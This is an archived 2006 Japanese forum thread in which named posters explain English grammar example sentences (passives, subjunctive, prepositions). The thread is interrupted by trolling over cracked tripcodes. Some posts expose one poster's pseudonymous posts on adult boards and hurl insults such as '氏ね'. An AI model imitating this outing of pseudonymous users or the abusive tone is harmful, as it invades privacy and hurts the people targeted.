どこの病院がいいとか、費用がどれくらいとか、その他役立つ情報を。
よろしくお願いしますm(__)m
http://pie.bbspink.com/test/read.cgi/mcheck/1101417286/

631 名前:TARMY ◆IuJiIQCtrs 投稿日:04/08/05 21:48 ID:BH4nKeAe
奪え!殺せ!焼きつくせ!
http://shizu.0000.jp/read.php/gamble/1002486950/

364 :名無しさん@英語勉強中:2006/12/17(日) 03:59:45
この板で良コテなら、そんな人の性癖はどうでもいいじゃないか。
過去のことは忘れて仲良くしようや。

365 : ◆IuJiIQCtrs :2006/12/17(日) 04:29:31
いいかげんに変だと気付けよ

366 :名無しさん@英語勉強中:2006/12/17(日) 05:44:39
>>365
いい加減、このスレの煽りのパターン見抜けよ。

適当に嵌めこんで煽るのが、このスレの特徴だぞ。

367 :名無しさん@英語勉強中:2006/12/17(日) 06:05:56
>>366
こいつエロじゃね?
なんとか誤魔化そうとしてるだけだろw

368 :名無しさん@英語勉強中:2006/12/17(日) 06:18:48
鳥が#eroならすぐばれてもいいわけだが
スレをまたがないと突き止められないのがこのスレのクオリティ。
エロが落ちたと思ってすかさず解説を再開する解説者もどうかと思うがwwwwwwww

これからは#ero進行でお願いします
晒し上げwwwwwwww

369 : ◆IuJiIQCtrs :2006/12/17(日) 06:21:18
ブラジャー

370 : ◆IuJiIQCtrs :2006/12/17(日) 06:25:33
多人格自演荒らしがエロのふりして煽ってただけか。

371 : ◆IuJiIQCtrs :2006/12/17(日) 06:29:25
こいつエロじゃね?

372 : ◆IuJiIQCtrs :2006/12/17(日) 06:57:09
これからは#ero進行でお願いします。
名無しは即エロ認定です。

373 : ◆IuJiIQCtrs :2006/12/17(日) 07:00:01
てst

374 :名無しさん@英語勉強中:2006/12/17(日) 07:20:07
くだらん煽りはよそのスレでやれよ。

375 : ◆IuJiIQCtrs :2006/12/17(日) 07:28:36
エロ、もういい加減ウザイよ。

376 : ◆IuJiIQCtrs :2006/12/17(日) 08:44:49
「工口(たくみぐち)」なんて言っておきながら酉はeroというあたりがエロの不真面目さを表してるな

377 :名無しさん@英語勉強中:2006/12/17(日) 13:41:35
エロの不謹慎発言は、すべて多人格自演の仕業だったのか。かわいそうに。

今度は、beつけて帰ってこい。

378 : ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄:2006/12/17(日) 13:48:44
:_,-"::::/    ̄"''-                    ヽ::::i
.(:::::{:(i(____        i|     .|i          _,,-':/
`''-,_ヽ:::::''- ,,__,,,, _______i|      .|i--__,,----..--'''":::::ノ
  "--;;;;;;;;;;;;;;;;;""''--;;i|      .|i二;;;;;::---;;;;;;;::--''
          ̄ ̄"..i|       .|i
            .i|          .|i
   ファッビョ━━ i|          .|i ━━━━━ンッ!!!
           .i|    .∧_∧    |i
    ∧_∧ .i|   ∩#`Д´>'')  |i ∧_∧
    (;・Д・) i|    ヽ エロ ノ    .|i (;´Д`)
  ⊂勝手口)i|      (,,フ .ノ      |i(西川口つ
,,/^ヽ,-''":::i/:::::::::.      レ'     ::::::::::::ヽ,_
;;;;;;:::::;;;;;;;;;;:::::;;;;;;;;:::;;;;;;;;;;:::::;;;;;;;;;;:::::;;;;;;;;:::;;;;;;;;;;:::::;;;;;;;;;;:::::_| ̄|○
                           スレ住人

379 :名無しさん@英語勉強中:2006/12/17(日) 14:50:54
トリップキーが漏れてるなら、自分で公開するだろ。
そうすれば、自分の発言じゃないと証明できるし。

何か弁解してくれ>エロ

380 : ◆IuJiIQCtrs :2006/12/17(日) 15:36:30
テスト

381 :名無しさん@英語勉強中:2006/12/17(日) 17:53:17
お前らいい加減にしてください

382 :勝手口 ◆KatteG.R4k :2006/12/17(日) 18:36:55
>>344に追記です。
>(like や as の後だと「as many/much」が使いにくいので「so many/much」の慣用句ができたのではないかと妄想)。
と書きましたが、下記のサイトによると実際にそのようです。

ttp://blog.livedoor.jp/eg_daw_jaw/archives/50075790.html
>as many …の直前がasである場合にはasが2つ並んでas as many…となるのを嫌ってas so many …とするが、
>as many …の直前がasと類義のlikeの場合にも同様にlike so many …とする。

383 :勝手口 ◆KatteG.R4k :2006/12/17(日) 18:38:12
>>362
例文19ですね。ほとんど問題ないと思いますが、
「You can know about the real world only by...」というように「only」をつけておきたいところですね。

この例文について、文法前スレで俺が書いたのを再掲します(若干修正)。
>管理人さん
例文19は質問が多いので、よろしければ、下記も補足として載せておいていただけますか?

出口さんのサイトも指摘しているとおり、
最初の it は、「(you are) (to) know about the real world」を指していると思います。
該当箇所:
「§85 人称代名詞の一般用法、[3] it と they の一般用法、【4】 前に出た句や節,文の内容をさす」

また、ここでの be は、広い意味では「存在する」ということになりますが、
「(出来事・行為などが)行われる、起こる、生じる」(=happen, occur, take place)
という意味になると思います。
この用法は、ジーニアスでは、【2】[存在を示す] の中に含まれていますが、
ランダムハウスでは、【1】[存在の be]、【2】[連結語の be]、【3】[出来事の be]、
として独立しています(研究社大英和も同様)。
The meeting was last month.(会合は先月あった)(ジーニアス)
The wedding was last week.(結婚式は先週行われた)(ランダムハウス)
参考:
「§169 be, do, have の用法、[1] be の用法」

似た用例として、「安藤 p.164」に以下の文がありました。
I had hoped to go to Paris, but it was not to be.
(パリへ行きたいと思っていたが、そうはならなかった)(be = happen)

384 :”管理”人:2006/12/17(日) 20:57:44
>>383

追記しました。

例文19は日本語で見てもイマイチ意味の分からない文ですから、 beの意味が「起こる、生じる」という事を知らないと、
(あてずっぽうで意味は取れても)文法的に正確に把握する事は難しい英文ですねぇ。

385 : ◆IuJiIQCtrs :2006/12/17(日) 21:34:27
勝手口の酉は巧妙だな。だれか崩さないかな。

386 :名無しさん@英語勉強中:2006/12/17(日) 21:48:11
>383
if節〜it can only be〜って堅い言い回しなのか
演説とかで聴かれるね。

387 :名無しさん@英語勉強中:2006/12/17(日) 21:49:11
ばれても大丈夫だろ。勝手口氏は、余計な話をしないからな。

多人格粘着自演は性癖を書き込まれたから、故意にトリ漏れをしたか、
エロが多人格粘着自演話を作って名無しで演じて、トリを漏らしたか。

388 : ◆IuJiIQCtrs :2006/12/17(日) 21:57:58
エロ節に一票

389 : ◆IuJiIQCtrs :2006/12/17(日) 22:36:37
エロ本人はとっくにいなくなってるぞ

390 :勝手口 ◆KatteG.R4k :2006/12/17(日) 22:37:30
>>384
ありがとうございました。この用法については入口さんの例文が最高にわかりやすいと思います。

>>386
なるほど。ちょっと修辞っぽい感じですよね。


287.(受動態:英語特有の受動表現)
S / were / killed // (文型:S V C)(受動態)
and // S / were / ((severely or slightly)) injured // (文型:S V C)(受動態)
M2((in the...accident)).

「文 and 文 M2」の形で、M2 は両方の文にかかると考えます(parallelism を優先。例文181参照)

英語では、自分の意思で制御できないことを受動態で表すことが多いですね。
日本語の受け身とは異なる感覚なので、意識しないと間違えることがあります。
事故や戦争で「死ぬ」に die は使いません。
(なお、銃や刃物などで「怪我をする」は be wounded です。江川 p.282)
該当箇所:
「§272 態の転換の一般的な形式、(4) 〈by 〜〉の省略、【2】 動作主が不明のとき」
「§284 英語特有の受動表現、(3) 事故・病気などの表現」

391 :勝手口 ◆KatteG.R4k :2006/12/17(日) 22:39:01
288.(受動態:句動詞の受動態)
S / were / burnt ((down)) / ((in...yesterday)). (文型:S V C)(受動態)

「burn ((down)) O」で「〜を全焼させる/焼き払う」という意味になります(この down はイメージしやすいですよね)。
熟語的な句動詞を受動態にするときは、「余計なところはいじらず、そのまま置いておく」が基本です。
該当箇所:
「§277 句動詞の受動態」

in の目的語のところは、the fire {← which broke out yesterday}
which節は、
The fire / broke ((out)) / M2((yesterday)). (文型:S V)
ってな形からの変形。

392 :名無しさん@英語勉強中:2006/12/17(日) 22:43:08
勝手口さん、西川口さん、解説ありがたく拝見してます


どなたか、質問いいでしょうか?

285 The meeting will be held at 10:30am on Saturday.

この文型はSVCであると上記に書かれてありますが
ここでの動詞 hold を他動詞の「開催する」だと解釈して
SVOと思ってはいけない理由を教えていただけたら嬉しいです


393 :名無しさん@英語勉強中:2006/12/17(日) 22:57:48
>>392
そういうのは質問スレでやってくれよ
解説してる上に質問まであったら大変だろ?

394 :名無しさん@英語勉強中:2006/12/17(日) 23:12:14
>>393
その前に荒しをやめて欲しいんだけど

395 : ◆IuJiIQCtrs :2006/12/17(日) 23:38:13
>>392
SVOはありえない。その文には目的語はない。
勝手口さんの解釈は、be = V, held = Cとなってるのかな。
普通なら、be held = Vと解釈して、SVMの文型と解説されるところ。

396 : ◆IuJiIQCtrs :2006/12/17(日) 23:40:48
もしかすると>>392は、その文を能動態に直して
They will hold the meeting ... がSVOだと言っているのかもしれない。
それならその通りでしょう。


397 :名無しさん@英語勉強中:2006/12/17(日) 23:47:06
>395
>SVMの文型と解説されるところ

ロイヤル英文法的にもそうなってるね(p568)
でも分詞をどう捉えているかだけであんまり違いはないような気はするね。
interestedみたいに形容詞化して辞書に載るようなのもあるし。

大昔の文法書には受動態を6番目の文型と捉えているものもあったみたい。

398 :勝手口 ◆KatteG.R4k :2006/12/17(日) 23:47:14
>>392
>>395さん、>>396さんのおっしゃる通りです。
「S V O の受動態」と考えるのであれば、もちろん間違っていません(出口さんのサイトはそうなってます)。
能動態にするなら、
We / will hold / the meeting / M2 M2. (文型:S V O)
となりますが、
受動態の文型については、元の能動態の文型で考えるか、受動態自体の形式で考えるか、という観点から、
以下のような考え方があると思います。

(1) The meeting / will be held / M2 M2. (S V O の受動態)
 (受動態自体の形式的な文型は扱わない。生成文法的)
(2) The meeting / will be held / M2 M2. (文型:S V)(ただし S V O の受動態)
 (be+過去分詞を、1つのまとまりと考える)
(3) The meeting / will be / held / M2 M2. (文型:S V C)(だたし、S V O の受動態)
 (過去分詞を、形容詞などと同様に考える)

俺個人としては(3)が一番実感に近いので、(3)の書き方をしています(たまに(2)のときもあると思います)。
各自で好きなのに読みかえてください。

399 :勝手口 ◆KatteG.R4k :2006/12/18(月) 00:03:44
>>397
>ロイヤル英文法的にもそうなってるね(p568)
あ、ほんとだ。それは困ったな。

>でも分詞をどう捉えているかだけであんまり違いはないような気はするね。
そういうことです。
文型は便宜的なものってことで勘弁してくださいな。

400 :西川口 ◆Im4lkGa4xk :2006/12/18(月) 01:53:54
>>344 >>382
言われてみれば、その通りでした。
お手間をとらせて、失礼しました。

118の文
excuse me for ...
for ... (...に関して、)
直訳すれば、(...することについて、私を許してください。)

excuse me は、軽い謝罪の意味で頻繁に使います。日本語の「すいません」に近い。
知らない人に話しかけるとき、歩いてて人にぶつかってしまったとき、
くしゃみをしたとき等....

相手の話が聞き取れなかったときも使います。Pardon me. よりも気安い感じ。
本当は聞き取れているのに使う場合もあります。
EXCUSE ME! 何だって?(もういっぺん言ってみろ!)

なんの小説だったか忘れましたが、面白いセリフがありました。
Excuse me for my French. (私のフランス語、勘弁してね。)
別にフランス語を喋ったわけではなくて、Fu×× とか shi× 等の
汚い言葉を言ってしまった後の軽い謝罪です。使う機会はなさそうですが。

401 : ◆IuJiIQCtrs :2006/12/18(月) 02:35:49
西川口氏もトリップ変えた方が安全かもしれませんよ。
http://y-bbs.net/bbsero/test/read.php/erobbs/1156621307/l50

40 :ブサ男(4日目) ◆Im4lkGa4xk :2006/10/26(木) 19:41:15 ID:TfP4zeu1O
センターまであと86日
いつの間にか時間が過ぎていく。
http://school5.2ch.net/test/read.cgi/jsaloon/1161425628/40

737 :Labyrinth ◆Im4lkGa4xk :2006/07/09(日) 23:17:00
朝シャワー浴びると
恥ずかしいかも、、
http://pie.bbspink.com/test/read.cgi/eromog2/1115506077/737

180 :あや ◆Im4lkGa4xk :2005/03/26(土) 20:28:30 HOST:350273004075254 proxy205.docomo.ne.jp
案内で試しとうスレでドメインが出てしまいました。削除お願いします
http://qb5.2ch.net/test/read.cgi/saku2ch/1028109104/180


402 : ◆IuJiIQCtrs :2006/12/18(月) 06:53:26
>>393がいつもワガママな解説クレクレ君だということが十分よく分かりました
ありがとうございました。

403 :名無しさん@英語勉強中:2006/12/18(月) 08:22:05
しばらく来ないうちに急展開してまつね。
工口早く氏ね

404 : ◆IuJiIQCtrs :2006/12/18(月) 08:30:34
>しばらく来ないうちに
見え透いた嘘をつくなよ。バレバレだぞ。

405 : ◆IuJiIQCtrs :2006/12/18(月) 09:28:06
>>403=>>404
また多人格自演かよ。

406 :名無しさん@英語勉強中:2006/12/18(月) 11:01:37
>>392の SVOと思ってはいけない理由 をたづねた者です
◆IuJiIQCtrs さん 勝手口さん 回答ありがとうございました

ひとつの文型から様々な文型が解釈できる事を知りませんでした
勉強になりました どうもありがとうございました!


407 : ◆IuJiIQCtrs :2006/12/18(月) 11:10:21
◆IuJiIQCtrsはこのスレではすでに名無しと一緒です。

408 :エロ ◆IuJiIQCtrs :2006/12/18(月) 16:00:08
名無しに戻して自演する必要がなくなった分楽になったよ?

409 :名無しさん@英語勉強中:2006/12/18(月) 16:05:24
#ero

410 : ◆IuJiIQCtrs :2006/12/18(月) 16:40:49
tes

411 :名無しさん@英語勉強中:2006/12/18(月) 19:54:26
>>404
嘘じゃねーよ。
自分がいつもその手の嘘ついてるからって
他人もそうだと思うな(笑)

412 :勝手口 ◆KatteG.R4k :2006/12/18(月) 22:04:41
289.(受動態:状態を表す受動態)
S / is / located / A((within...station)). (文型:S V C A)(S V O A の受動態)
あるいは、
S / is located / A((within...station)). (文型:S V A)(S V O A の受動態)

過去分詞を形容詞的に考えれば、上の考え方になり、
能動態の文型を重視し「be+過去分詞」を1つのまとまりと考えれば、下の考え方になります
(located は形容詞として辞書に載っていますが、「それだから上が正しい」という話ではないと思います)。

「○○ minutes' walk of... / ○○ miles of...」は、決まった形として慣れておきましょう。
「○○ minutes' walk from... / ○○ miles from...」も使われないこともないですが、
「〜から」の意味で「of」を使うものは、形が決まっているので、意識して憶えておいた方が良いと思います。
of の本来のイメージ(「分離」)そのままなんですけどね。
該当箇所:
「§332 of、(1) from と似た用法」


290.(受動態:受動態の進行形)
M2((In...neighborhood)) / S / are ((now)) being / built / M2. (文型:S V C)(S V O の受動態)
M2((In...neighborhood)) / S / are ((now)) being built / M2. (文型:S V)(S V O の受動態)

受動態は、「状態」を表す場合も「動作」を表す場合もあります(通常は副詞と文脈で判断できます)。
動作を表す場合は、進行形にすることができます。
(なお、状態動詞の受動態は、通常、状態を表します)

ちなみに、「one after the other」と「one after another」について、
ロイヤルでは「one after the other:2人/個」「one after another:3人/個」で区分していますが、
「one after the other:特定」「one after another:不特定」で区分した方が有益だと思います。
参考:
「§99 other と another の用法、[2]-(2)-【4】 one after the other と one after another」

413 :西川口 ◆Im4lkGa4xk :2006/12/19(火) 01:34:48
119の文
A out of B は、(Bから外にAを取り出す、出す)

I pulled the pepper spray out of my bag. かばんから催涙スプレ―を取り出した。
I have learned English out of a book 本で英語を学んだ
He drove me out of the town この町から追い出した

out of は、into と対になります。
A into B が (Bの中にAを入れる→AをBに変化)だったのに対し、(109の解説)
A out of B は(Bから外にAを取り出す→BをAに変化)となる場合があります。

make a little statue out of soft clay
粘土から小さな塑像を取り出す(作る)soft clay を a little statue に変化。
BからAを作る、あるいは材料のof といわれたりします。(広い意味では「分離」のof)

*I cheated him out of money. (金をだまし取った)のように117の文と同じ形の
場合もあるので注意。(比較的少ないとは思いますが)

clay は、かっちりした形の無いものと認識されるので、無冠詞です。(185のレス参照)

414 :西川口 ◆Im4lkGa4xk :2006/12/19(火) 01:36:00
>>401
あまりトリップを変えるのもどうかと思いますので、
このスレで混乱が起こらない限りは、このまま行きたいと思います。

オナ禁中の受験生と思ってもらっても構いませんしw

415 : ◆Im4lkGa4xk :2006/12/19(火) 16:23:04
数秒で解析できたよ。
やっぱり変えたほうがいいとおもう。

416 : ◆IuJiIQCtrs :2006/12/19(火) 19:15:17
人のトリップ解析してる暇があったら英語の勉強しなさい。な。

417 : ◆Im4lkGa4xk :2006/12/19(火) 19:44:18
数秒では単語の一つも俺には覚えられないよ。
俺が言うのも何だが、混乱の種になるので
トリップは解析できないような文字列にしたほうが

418 : ◆tdd7134X.. :2006/12/19(火) 19:55:32
解析されにくいパスワードの選びかたとして、
印象に残っている英文から、各単語の頭文字や尻を抜き出して
繋げていくというものがあるよ。

英語板の住人にはこの方法がお薦めかもしれない。
もちろん700選の英文を使うのはあまりにも危険だが。

419 :名無しさん@英語勉強中:2006/12/19(火) 20:16:19
とにかくエロ氏ねって。ウザイから

420 :名無しさん@英語勉強中:2006/12/19(火) 20:28:01
また自(ry

421 :名無しさん@英語勉強中:2006/12/19(火) 22:31:10
もう黙って解説聞くだけにしようぜ

422 :勝手口 ◆KatteG.R4k :2006/12/19(火) 22:31:41
>>413
一応、of/from の使い分けについて該当箇所を挙げておきますね。
「§341 材料・出所を表す前置詞、(1) 材料・原料」


291.(受動態:get受動態)
S / am / ((very much)) surprised / to hear <that s v x>. (文型:S V C to do)(受動態)
S / am ((very much)) surprised / to hear <that s v x>. (??文型:S V to do)(受動態)

「be surprised to do」は、
「be+形容詞/過去分詞+to do」で、to不定詞が感情の原因・理由を表すパターンです
(例文61、例文273参照)。

that節内は、
S / got / ((badly)) injured / M2 (文型:S V C)(get受動態)
S / got ((badly)) injured / M2 (??文型:S V)(get受動態)

動作を表す受動態の場合、会話文では be動詞の代わりに get を使うこともあります。
「get+過去分詞」は、通常「既に存在しているものの変化」を表すのが基本で、
非難・同情・驚きなどの感情が込められるとも言われます(安藤 pp.351-353)。
該当箇所:
「§281 動作の受動態と状態の受動態、[注]1. 動作の受動態」

なお、受動態の場合、様態の副詞は「中位(be 動詞/助動詞の後、一般動詞の前)」におくのが普通です。
(PEU, §24 adverb position, (7) adverbs of manner)

423 :勝手口 ◆KatteG.R4k :2006/12/19(火) 22:32:34
292.(受動態:受動態の完了形、句動詞の受動態)
S / went A((away)) / M2((from home)) / M2((three...ago)), // (文型:S V A)
and // (S) / has ((never)) been / heard of / M2((since)). (文型:S V C)(受動態)
and // (S) / has ((never)) been heard of / M2((since)). (文型:S V)(受動態)

cf. We hear of him.(彼のこと [存在] について耳にする)
hear of や know of は、存在や名前を知っている場合に使います。
逆に言うと、それくらいしか知らないってことです
(about だともうちょっと詳しく知ってる。例文19、例文263参照)。
で、この文は、
S / hear / of O. (文型:S V A) と考えることもできますが、
S / hear of / O. (文型:S V O) と考えることで受動態ができます。of はそのまま添えておきます。

424 :西川口 ◆Im4lkGa4xk :2006/12/20(水) 01:02:42
>>417 >>418
ご心配恐れ入ります。とりあえずは、静観しときます。

>>422
補足乙です。
文法書の類はジ―ニアスしか持ってないので、参考文献を示すことができず、
特にロイヤルで勉強してる人には、申し訳なく思ってたところでした。

管理人さん、ありがとう。
115の文をきちんと編集していただいたみたいですね。
手間のかかる奴ですが、今後ともよろしくです。

>>みなさん
たまにポカをやらかしますので、気をつけてください。

425 :西川口 ◆Im4lkGa4xk :2006/12/20(水) 01:16:13
120の文
present A with B (AにBをプレゼントする)
辞書によるとwithは省略可能とのこと。そうなると、give A B と同じ形。AにBを与える。

with を使うgive系の動詞は、次のようなものがあります。
equip A with B (AにBを装備する)
provide A with B(AにBを提供する)
supply A with B (AにBを供給する)
日本語訳は変化してますが、基本にあるのは「AにBを与える」という意味です。

on leaving high school
on は「接着」。「高校卒業」と「教師に時計をプレゼント」が、時間的に接着していること。
つまり、ほぼ同時ということになります。訳は、臨機応変に、「〜するとすぐに」とか
「〜すると同時に」あるいは、本文のように「〜に際して」等、適宜選択すればいいでしょう。

as a token of 〜 (〜のしるしとして)
the token of になると、「唯一の」感謝のしるしとなります。感謝は時計だけでOK。送別会を
開いたり、花束贈呈したりする気はないです。時計だけで十分。時計こそが感謝のしるし。
それ以外は必要なし。といった感じになります。先生がかわいそうだと思う人は、
a token of を使いましょう。「感謝のしるしのひとつとして」

426 : ◆IuJiIQCtrs :2006/12/20(水) 02:44:39
とりあえず>>421みたいに解説導入レスを入れてるのが勝手だとわかった。
31秒か。今日は急いでたんだな。
ありがとうございました。

427 : ◆IuJiIQCtrs :2006/12/20(水) 07:25:17
エロ消エロ

428 :名無しさん@英語勉強中:2006/12/20(水) 07:35:24
エタが暴れ出したか。
今夜のランダエタと共に終了しとけ。

429 :名無しさん@英語勉強中:2006/12/20(水) 11:27:11
あのまとめサイトの作りでは勉強しにくい。
見にくい。
誰かちゃんとしたのを作ってください。

430 :名無しさん@英語勉強中:2006/12/20(水) 11:56:50
こりゃまた酷いのが来たな

431 : ◆IuJiIQCtrs :2006/12/20(水) 13:55:43
>>429
エロのまとめサイト公開してもらえw

432 :名無しさん@英語勉強中:2006/12/20(水) 14:06:09
意見も言ったらダメなんか?
重要部分とそれ以外が一緒に書いてあって見にくい。
間違いを指摘してやろうにも、掲示板も無いし管理人のアドレスも無い。
もう少し上手く作ってくれれば文句は言いません

433 :名無しさん@英語勉強中:2006/12/20(水) 14:37:54
じゃあ、自分で作れ屑

434 :名無しさん@英語勉強中:2006/12/20(水) 14:57:28
何で俺に噛み付いてるの?
ちゃんとしたサイトを作るのは管理人の義務だろ?
俺に噛み付いてる暇があったらオマエラも管理人に要望出せば?

435 : ◆IuJiIQCtrs :2006/12/20(水) 15:10:10
自分の思い通りにスレが流れてないと当り散らすやつが1人いるだけだ。

・解説者しか書き込むなだとか
・質問するなとか

そいつが1人でイキリ立ってるだけだ。読み違えるな。
そのやり方に文句をいうやつはすべてエロのジエンという話だ。ここでは。

436 : ◆IuJiIQCtrs :2006/12/20(水) 15:10:53
ホントエロがいなくなってから我が物顔だなこいつは。

437 :名無しさん@英語勉強中:2006/12/20(水) 15:18:06
名無しでエロが荒らしてんだろw

438 :名無しさん@英語勉強中:2006/12/20(水) 18:07:40
そのシナリオで我が物顔なわけか

439 :名無しさん@英語勉強中:2006/12/20(水) 18:42:00
あのさぁ、俺は管理人に義務を果たして欲しいだけ。
このままじゃあ勉強する人に使いにくいだろ?
多分みんな思ってるだろ?
何でソレがエロの自演になるわけ?

440 :名無しさん@英語勉強中:2006/12/20(水) 20:48:41
>>439
義務なんかねぇよ。文句があるならお前が作れよ。素材は公開されてるんだぜ。


441 :勝手口 ◆KatteG.R4k :2006/12/20(水) 21:32:18
>>426
えーっと、よくわかりませんが、
少なくとも、他の人に「黙って解説聞くだけにしよう」なんて、俺は言いません。
文法前スレから見てる人なら、わかってくれると思います。


293.(受動態:句動詞の受動態)
S / is / ((well)) spoken of / M2((by...)). (文型:S V C)(受動態)
S / is ((well)) spoken of / M2((by...)). (文型:S V)(受動態)

S / speak ((well)) of / O (文型:S V O)の受動態です。
「O について、良いように言う」ということで、逆は「speak ((ill/badly)) of」。

well は様態の副詞なので、受動態になると、通常は中位に移動します(例文291参照)。

442 :勝手口 ◆KatteG.R4k :2006/12/20(水) 21:33:30
294.(受動態:句動詞の受動態)
S / are / made much of / M2((in...)). (文型:S V C)(受動態)
S / are made much of / M2((in...)). (文型:S V)(受動態)

S / make much of / O (文型:S V O)の受動態です。
この make は「思う」という意味ですが、使い方が決まってますので辞書で確認を。

熟語的な決まった形の句動詞であれば、
「【自動詞+(副詞)+前置詞】+目的語」(例文292、例文293)と同様に、
「【他動詞+目的語+前置詞】+目的語」(例文294)も、受動態をつくることができます。
参考:
「付録1 類例リスト、34.《おもな〈動詞+副詞[名詞]+前置詞〉の句》」

なお、【他動詞+目的語+前置詞】の他動詞目的語が主語になる受動態もあります。
元の形を知らないと、けっこうびっくりします(文語体とも言われますが、技術文書ではよく見かけます)。
以下、ロイヤルの例文。
Allowances must be made for his lack of experience.
Particular emphasis is laid on social security by the present government.
該当箇所:
「§277 句動詞の受動態、(2)-【2】他動詞の目的語が受動態の文の主語になるもの」

443 :名無しさん@英語勉強中:2006/12/20(水) 23:14:55
あれ?珍しくレスしましたね^^

図星ですか?wwwwwwwwwwwwwwwwwwwwwwww




444 :西川口 ◆Im4lkGa4xk :2006/12/20(水) 23:23:52
121の文
I regret (that S prevents A from B).
(私は残念に思います、SがAの邪魔をしてBさせないことを)
→ Sのせいで、AがBできないのを残念に思います。

prevent ... from 〜ing ... が 〜することを妨げる。

from 〜は、「〜から」一歩すすんで、「〜から離れて」という分離の意味に発展します。
V + A from B (BからAが離れている状態をつくる)→ A に B をさせない。
stop ... from 〜ing (... が 〜することを止める)
keep ... from 〜ing (... が 〜することから遠ざけておく→させないようにする)
prohibit ... from 〜ing (... が 〜することを禁止する)

You kindly invite me. (あなたは、親切にも私を招待する)
動詞inviteに注目して、文全体を名詞化。文修飾のkindly(副詞)も kind (形容詞)に変更。
your kind invitation (of me) これがaccepting の目的語になっています。

a previous engagement (先約)
これも、I previously engaged ... を名詞化したものととることができます。

直訳すると、
先約があるために、あなたの親切な招待を受け入れることができません、そのことを
残念に思います。
*まわりくどい(丁寧な)断り方です。

445 :名無しさん@英語勉強中:2006/12/21(木) 00:12:01
奴がなぜ1日1塊のコテレスしかしないのか考えたらわかるだろ。

文法前スレから見てるんだろ?
オマイらいい加減気付けよ。

446 :名無しさん@英語勉強中:2006/12/21(木) 00:14:58
どうでもいい。

とにかく、いい解説といいサイト、それ以外はイラン。

447 :名無しさん@英語勉強中:2006/12/21(木) 02:23:39
今日どれだけ勉強した?スレで名無しで煽りまくってる奴と
同じ匂いがするな。

たぶん700選使って勉強する気ないだろ。
煽って反応楽しむ悪意の三者

448 :名無しさん@英語勉強中:2006/12/21(木) 03:14:16
むこうは雑談なくなって弄りがいがなくなって移って来たのか

449 :名無しさん@英語勉強中:2006/12/21(木) 09:23:11
>>446
全くその通りだと思います。
勝手口氏や西川口氏の解説は本当に素晴らしい。
だが、ヘボいまとめサイトのせいで台無しだな。
管理人もこの書き込みを見たら少しは改善してください。

450 :名無しさん@英語勉強中:2006/12/21(木) 09:28:13
それから、俺をエロや粘着荒らしと一緒にしないでください。
素晴らしい解説がショボいサイトに埋もれていくのに危機感を持ってるだけです。

451 :名無しさん@英語勉強中:2006/12/21(木) 09:35:11
もしも上手くサイトを改善する自信が無いのであれば
閉鎖して他の人にお願いするのも一つの方法ですよ。
皆が学習しやすいサイトである事が一番重要なのですから。

452 :名無しさん@英語勉強中:2006/12/21(木) 09:41:40
少々厳しい言い方をしましたが悪意はありません。
管理人さんは胸に手を当てて良く考えてくださいね。
管理人さんの勇気ある決断を皆が待っています。

453 : ◆IuJiIQCtrs :2006/12/21(木) 10:11:43
>>108だな

454 :名無しさん@英語勉強中:2006/12/21(木) 10:53:56
管理人さん今のままで全然良いので気にしなくていいですよ。
人の苦労も考えられない馬鹿が一匹いるみたいですがスルーでいいです。


455 :名無しさん@英語勉強中:2006/12/21(木) 11:24:17
何か勘違いしてない?
俺達が懇願してサイトを作ってもらったんじゃ無いよ?
管理人が自主的に作ったんだよ?
ならば良いサイトを作るのは義務だし、それが出来ないなら他の人にお願いするべきでしょう。

456 :名無しさん@英語勉強中:2006/12/21(木) 14:47:53
じゃ今からおながいします。
サイト作ってください!

457 :名無しさん@英語勉強中:2006/12/21(木) 14:48:30
はい懇願しましたよ。
もう邪魔しないで。

458 :名無しさん@英語勉強中:2006/12/21(木) 16:06:08
俺はオマエラじゃなくて管理人に対して書き込みしてます。
前も、携帯で見れるようにしてほしいとか、
文字の色を分けて見やすくしてほしいとかって要望の書き込みがありましたよね?
ほとんど対応出来てないのは何故ですか?

459 :名無しさん@英語勉強中:2006/12/21(木) 16:12:37
お前みたいに一日中張り付いてるような暇なヒキコモリじゃないから

460 :名無しさん@英語勉強中:2006/12/21(木) 16:30:27
解説者に聞くか?
サイトの体裁がこれでいいか
変えるべきか?

その権限は解説者にのみ委ねられるべき



461 :名無しさん@英語勉強中:2006/12/21(木) 16:42:25
絡んでるのは
前スレで1に謝罪要求とかいって騒いでた奴か

462 : ◆IuJiIQCtrs :2006/12/21(木) 18:21:22
>>460
おまえアホか?
トリップ付の解説者が発言できるわけないだろ。
それをネタにターゲットにされるだけ。

463 :名無しさん@英語勉強中:2006/12/21(木) 20:02:01
解説者は善意で勝手に書きこんでくれてる。
それを聞くも煽るも見ないも自由。

まとめサイト管理者は善意で勝手にサイトを作ってここにアドレスを公開している。
それを見るも見ないもそいつの自由。

誰かが誰かをどうすべきだと去勢すべき問題じゃない。

464 :名無しさん@英語勉強中:2006/12/21(木) 20:19:08
そうだね
粘着引き篭もりは黙ってろ

465 :名無しさん@英語勉強中:2006/12/21(木) 20:40:47
そうだね。丁寧な自己紹介ありがとう。
カミングアウトですか?

466 :”管理”人:2006/12/21(木) 21:12:31
携帯から見る場合はモバジラとか使えば良いかと。

他に具体的な要望があればなるべく対応したいと思っています。

ただ、仕事もありますので、あまり時間が取れず対応は遅くなるかもです。。○(_ _○)

467 :勝手口 ◆KatteG.R4k :2006/12/21(木) 22:08:25
管理人さん、いつもおつかれさまです。

さて、B-3 に進みます。


295.(仮定法:[条件節=仮定法過去]+[帰結節=仮定法過去])
M2((If only s v x)), / S / would tell / O. (文型:S V O)
M2((The fact is)), / S / have heard / O. (文型:S V O)

話し手が心/頭の中で作った「たとえ話」をするときに、仮定法(叙想法)を使います。
以下のように時制が1つズレます(過去形は、現在/現実からの「遠隔性」を表します)。
現在に関するたとえ話:過去形
過去に関するたとえ話:大過去形(過去完了形)
該当箇所:
「第15章 法、第2節 条件文と仮定法」

if節内は、S / knew / (O) (文型:S V (O))
「if (...) only ...」は「〜でありさえすればなぁ」で、帰結節を省略することもあります。
その場合、I wish... よりも強い表現になります(例文312参照)。
参考:
「§266 帰結節の省略」

「The fact is,」については、例文136参照。

468 :勝手口 ◆KatteG.R4k :2006/12/21(木) 22:09:11
296.(仮定法:[条件節=仮定法過去]+[帰結節=仮定法過去])
M2((If s v x)), / S / would hire / O / M2((at once)). (文型:S V O)

if節内は、it / were not / for O. (文型:S V A[C])ってな感じでしょうけど、
「If it were/was not for...」は決まった形なので、このまま憶えておいたほうが良いでしょう。
